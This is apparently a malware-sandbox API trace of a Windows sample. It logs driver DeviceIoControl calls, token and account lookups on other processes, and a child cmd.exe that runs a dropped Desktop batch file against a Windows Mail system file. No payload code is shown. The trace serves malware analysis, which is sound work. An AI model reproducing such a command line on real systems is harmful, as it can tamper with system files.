KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.600] PsReleaseProcessExitSynchronization () returned 0x2 [0133.600] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x23 [0133.600] ObQueryNameString (in: Object=0xfffffa80038b5900, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.600] ObfDereferenceObject (Object=0xfffffa8002346f20) returned 0x3 [0133.600] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.600] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.601] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xc18) returned 0xc0 [0133.601] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.601] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800394e630, HandleInformation=0x0) returned 0x0 [0133.601] ObOpenObjectByPointer (in: Object=0xfffffa800394e630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff80000520) returned 0x0 [0133.601] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x16 [0133.601] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000520, DesiredAccess=0x8, TokenHandle=0xfffffa80024c34c0 | out: TokenHandle=0xfffffa80024c34c0*=0xc8) returned 0x0 [0133.601] ZwClose (Handle=0xffffffff80000520) returned 0x0 [0133.601] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.601] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.601] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.658] CloseHandle (hObject=0xc8) returned 1 [0133.659] CloseHandle (hObject=0xc0) returned 1 [0133.659] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.659] PsLookupProcessByProcessId (in: ProcessId=0xc18, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.659] PsAcquireProcessExitSynchronization () returned 0x0 [0133.659] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880050005d0) [0133.659] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80035ad730, HandleInformation=0x0) returned 0x0 [0133.659] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.659] PsReleaseProcessExitSynchronization () returned 0x2 [0133.659] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x14 [0133.659] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.659] ObfDereferenceObject (Object=0xfffffa80035ad730) returned 0x1 [0133.659] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0133.659] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.659] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0133.659] PsLookupProcessByProcessId (in: ProcessId=0xc18, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.659] PsAcquireProcessExitSynchronization () returned 0x0 [0133.659] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880050005d0) [0133.659] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002882f20, HandleInformation=0x0) returned 0x0 [0133.659] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.659] PsReleaseProcessExitSynchronization () returned 0x2 [0133.659] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x14 [0133.659] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000508) returned 0x0 [0133.659] ObfDereferenceObject (Object=0xfffffa8002882f20) returned 0x1 [0133.659] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0133.659] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.659] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb90) returned 0xc0 [0133.660] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.660] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800200c770, HandleInformation=0x0) returned 0x0 [0133.660] ObOpenObjectByPointer (in: Object=0xfffffa800200c770, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff8000052c) returned 0x0 [0133.660] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x23 [0133.660] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000052c, DesiredAccess=0x8, TokenHandle=0xfffffa8002513ac0 | out: TokenHandle=0xfffffa8002513ac0*=0xc8) returned 0x0 [0133.660] ZwClose (Handle=0xffffffff8000052c) returned 0x0 [0133.660] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0133.660] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.660] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.661] CloseHandle (hObject=0xc8) returned 1 [0133.661] CloseHandle (hObject=0xc0) returned 1 [0133.662] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0133.662] PsLookupProcessByProcessId (in: ProcessId=0xb90, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.662] PsAcquireProcessExitSynchronization () returned 0x0 [0133.662] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880050005d0) [0133.662] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002642f20, HandleInformation=0x0) returned 0x0 [0133.662] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.662] PsReleaseProcessExitSynchronization () returned 0x2 [0133.662] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x21 [0133.662] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.662] ObfDereferenceObject (Object=0xfffffa8002642f20) returned 0x1 [0133.662] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0133.662] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.662] GetLastError () returned 0x57 [0133.662] SetLastError (dwErrCode=0x57) [0133.662] GetLastError () returned 0x57 [0133.662] SetLastError (dwErrCode=0x57) [0133.662] GetLastError () returned 0x57 [0133.662] SetLastError (dwErrCode=0x57) [0133.662] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x1000) returned 0x1d0b20 [0133.662] GetLastError () returned 0x57 [0133.662] SetLastError (dwErrCode=0x57) [0133.662] GetLastError () returned 0x57 [0133.662] SetLastError (dwErrCode=0x57) [0133.662] GetLastError () returned 0x57 [0133.662] SetLastError (dwErrCode=0x57) [0133.662] GetLastError () returned 0x57 [0133.662] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.663] SetLastError (dwErrCode=0x57) [0133.663] GetLastError () returned 0x57 [0133.664] SetLastError (dwErrCode=0x57) [0133.664] GetLastError () returned 0x57 [0133.664] SetLastError (dwErrCode=0x57) [0133.664] GetLastError () returned 0x57 [0133.664] SetLastError (dwErrCode=0x57) [0133.664] GetLastError () returned 0x57 [0133.664] SetLastError (dwErrCode=0x57) [0133.664] GetLastError () returned 0x57 [0133.664] SetLastError (dwErrCode=0x57) [0133.664] GetLastError () returned 0x57 [0133.664] SetLastError (dwErrCode=0x57) [0133.664] GetLastError () returned 0x57 [0133.664] SetLastError (dwErrCode=0x57) [0133.664] GetVersion () returned 0x1db10106 [0133.664] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0133.664] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4, lpConsoleScreenBufferInfo=0x12fec0 | out: lpConsoleScreenBufferInfo=0x12fec0) returned 0 [0133.666] WriteFile (in: hFile=0x4, lpBuffer=0x12e900*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x12e220, lpOverlapped=0x0 | out: lpBuffer=0x12e900*, lpNumberOfBytesWritten=0x12e220*=0x1d, lpOverlapped=0x0) returned 1 [0133.667] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1affd0 | out: hHeap=0x190000) returned 1 [0133.667] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12feb8 | out: phModule=0x12feb8) returned 0 [0133.667] RtlExitUserProcess (ExitCode=0x1) [0133.668] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1af040 | out: hHeap=0x190000) returned 1 [0133.681] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) Thread: id = 843 os_tid = 0xc54 Process: id = "236" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x75765000" os_pid = "0xc18" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x328" cmd_line = "cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\"\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 842 os_tid = 0xc40 [0130.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x37ff5c | out: lpSystemTimeAsFileTime=0x37ff5c*(dwLowDateTime=0xf1205360, dwHighDateTime=0x1d5d06a)) [0130.340] GetCurrentProcessId () returned 0xc18 [0130.340] GetCurrentThreadId () returned 0xc40 [0130.340] GetTickCount () returned 0x11681fc [0130.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37ff54 | out: lpPerformanceCount=0x37ff54*=27229218570) returned 1 [0130.341] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0130.341] __set_app_type (_Type=0x1) [0130.341] __p__fmode () returned 0x76be31f4 [0130.341] __p__commode () returned 0x76be31fc [0130.341] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0130.341] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0130.341] GetCurrentThreadId () returned 0xc40 [0130.341] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xc40) returned 0x60 [0130.342] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0130.342] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0130.342] SetThreadUILanguage (LangId=0x0) returned 0x409 [0130.342] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0130.342] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x37feec | out: phkResult=0x37feec*=0x0) returned 0x2 [0130.342] VirtualQuery (in: lpAddress=0x37ff23, lpBuffer=0x37febc, dwLength=0x1c | out: lpBuffer=0x37febc*(BaseAddress=0x37f000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0130.342] VirtualQuery (in: lpAddress=0x280000, lpBuffer=0x37febc, dwLength=0x1c | out: lpBuffer=0x37febc*(BaseAddress=0x280000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0130.342] VirtualQuery (in: lpAddress=0x281000, lpBuffer=0x37febc, dwLength=0x1c | out: lpBuffer=0x37febc*(BaseAddress=0x281000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0130.342] VirtualQuery (in: lpAddress=0x283000, lpBuffer=0x37febc, dwLength=0x1c | out: lpBuffer=0x37febc*(BaseAddress=0x283000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0130.342] VirtualQuery (in: lpAddress=0x380000, lpBuffer=0x37febc, dwLength=0x1c | out: lpBuffer=0x37febc*(BaseAddress=0x380000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x80000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0130.342] GetConsoleOutputCP () returned 0x1b5 [0130.342] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0130.343] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0130.343] _get_osfhandle (_FileHandle=1) returned 0x7 [0130.343] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0130.343] _get_osfhandle (_FileHandle=1) returned 0x7 [0130.343] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0130.343] _get_osfhandle (_FileHandle=1) returned 0x7 [0130.343] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0130.344] _get_osfhandle (_FileHandle=0) returned 0x3 [0130.344] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0130.344] _get_osfhandle (_FileHandle=0) returned 0x3 [0130.344] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0130.344] GetEnvironmentStringsW () returned 0x414068* [0130.344] GetProcessHeap () returned 0x400000 [0130.344] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xaca) returned 0x414b40 [0130.345] FreeEnvironmentStringsW (penv=0x414068) returned 1 [0130.345] GetProcessHeap () returned 0x400000 [0130.345] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x4) returned 0x410d20 [0130.345] GetEnvironmentStringsW () returned 0x414068* [0130.345] GetProcessHeap () returned 0x400000 [0130.345] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xaca) returned 0x415618 [0130.345] FreeEnvironmentStringsW (penv=0x414068) returned 1 [0130.345] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x37ee5c | out: phkResult=0x37ee5c*=0x68) returned 0x0 [0130.345] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x37ee64, lpData=0x37ee68, lpcbData=0x37ee60*=0x1000 | out: lpType=0x37ee64*=0x0, lpData=0x37ee68*=0x0, lpcbData=0x37ee60*=0x1000) returned 0x2 [0130.345] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x37ee64, lpData=0x37ee68, lpcbData=0x37ee60*=0x1000 | out: lpType=0x37ee64*=0x4, lpData=0x37ee68*=0x1, lpcbData=0x37ee60*=0x4) returned 0x0 [0130.345] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x37ee64, lpData=0x37ee68, lpcbData=0x37ee60*=0x1000 | out: lpType=0x37ee64*=0x0, lpData=0x37ee68*=0x1, lpcbData=0x37ee60*=0x1000) returned 0x2 [0130.345] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x37ee64, lpData=0x37ee68, lpcbData=0x37ee60*=0x1000 | out: lpType=0x37ee64*=0x4, lpData=0x37ee68*=0x0, lpcbData=0x37ee60*=0x4) returned 0x0 [0130.345] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x37ee64, lpData=0x37ee68, lpcbData=0x37ee60*=0x1000 | out: lpType=0x37ee64*=0x4, lpData=0x37ee68*=0x40, lpcbData=0x37ee60*=0x4) returned 0x0 [0130.345] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x37ee64, lpData=0x37ee68, lpcbData=0x37ee60*=0x1000 | out: lpType=0x37ee64*=0x4, lpData=0x37ee68*=0x40, lpcbData=0x37ee60*=0x4) returned 0x0 [0130.345] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x37ee64, lpData=0x37ee68, lpcbData=0x37ee60*=0x1000 | out: lpType=0x37ee64*=0x0, lpData=0x37ee68*=0x40, lpcbData=0x37ee60*=0x1000) returned 0x2 [0130.345] RegCloseKey (hKey=0x68) returned 0x0 [0130.346] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x37ee5c | out: phkResult=0x37ee5c*=0x68) returned 0x0 [0130.346] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x37ee64, lpData=0x37ee68, lpcbData=0x37ee60*=0x1000 | out: lpType=0x37ee64*=0x0, lpData=0x37ee68*=0x40, lpcbData=0x37ee60*=0x1000) returned 0x2 [0130.346] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x37ee64, lpData=0x37ee68, lpcbData=0x37ee60*=0x1000 | out: lpType=0x37ee64*=0x4, lpData=0x37ee68*=0x1, lpcbData=0x37ee60*=0x4) returned 0x0 [0130.346] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x37ee64, lpData=0x37ee68, lpcbData=0x37ee60*=0x1000 | out: lpType=0x37ee64*=0x0, lpData=0x37ee68*=0x1, lpcbData=0x37ee60*=0x1000) returned 0x2 [0130.346] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x37ee64, lpData=0x37ee68, lpcbData=0x37ee60*=0x1000 | out: lpType=0x37ee64*=0x4, lpData=0x37ee68*=0x0, lpcbData=0x37ee60*=0x4) returned 0x0 [0130.346] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x37ee64, lpData=0x37ee68, lpcbData=0x37ee60*=0x1000 | out: lpType=0x37ee64*=0x4, lpData=0x37ee68*=0x9, lpcbData=0x37ee60*=0x4) returned 0x0 [0130.346] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x37ee64, lpData=0x37ee68, lpcbData=0x37ee60*=0x1000 | out: lpType=0x37ee64*=0x4, lpData=0x37ee68*=0x9, lpcbData=0x37ee60*=0x4) returned 0x0 [0130.346] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x37ee64, lpData=0x37ee68, lpcbData=0x37ee60*=0x1000 | out: lpType=0x37ee64*=0x0, lpData=0x37ee68*=0x9, lpcbData=0x37ee60*=0x1000) returned 0x2 [0130.346] RegCloseKey (hKey=0x68) returned 0x0 [0130.346] time (in: timer=0x0 | out: timer=0x0) returned 0x5e271114 [0130.346] srand (_Seed=0x5e271114) [0130.346] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\"\"" [0130.346] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\"\"" [0130.347] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0130.347] GetProcessHeap () returned 0x400000 [0130.347] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x210) returned 0x414068 [0130.347] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x414070, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0130.347] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0130.348] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0130.348] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0130.348] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0130.348] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0130.348] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0130.348] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0130.348] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0130.348] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0130.348] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0130.348] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0130.348] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0130.348] GetProcessHeap () returned 0x400000 [0130.348] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x414b40 | out: hHeap=0x400000) returned 1 [0130.348] GetEnvironmentStringsW () returned 0x414280* [0130.348] GetProcessHeap () returned 0x400000 [0130.348] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xae2) returned 0x416be0 [0130.348] FreeEnvironmentStringsW (penv=0x414280) returned 1 [0130.348] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0130.348] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0130.348] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0130.348] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0130.348] _wcsicmp (_String1="KEYS", 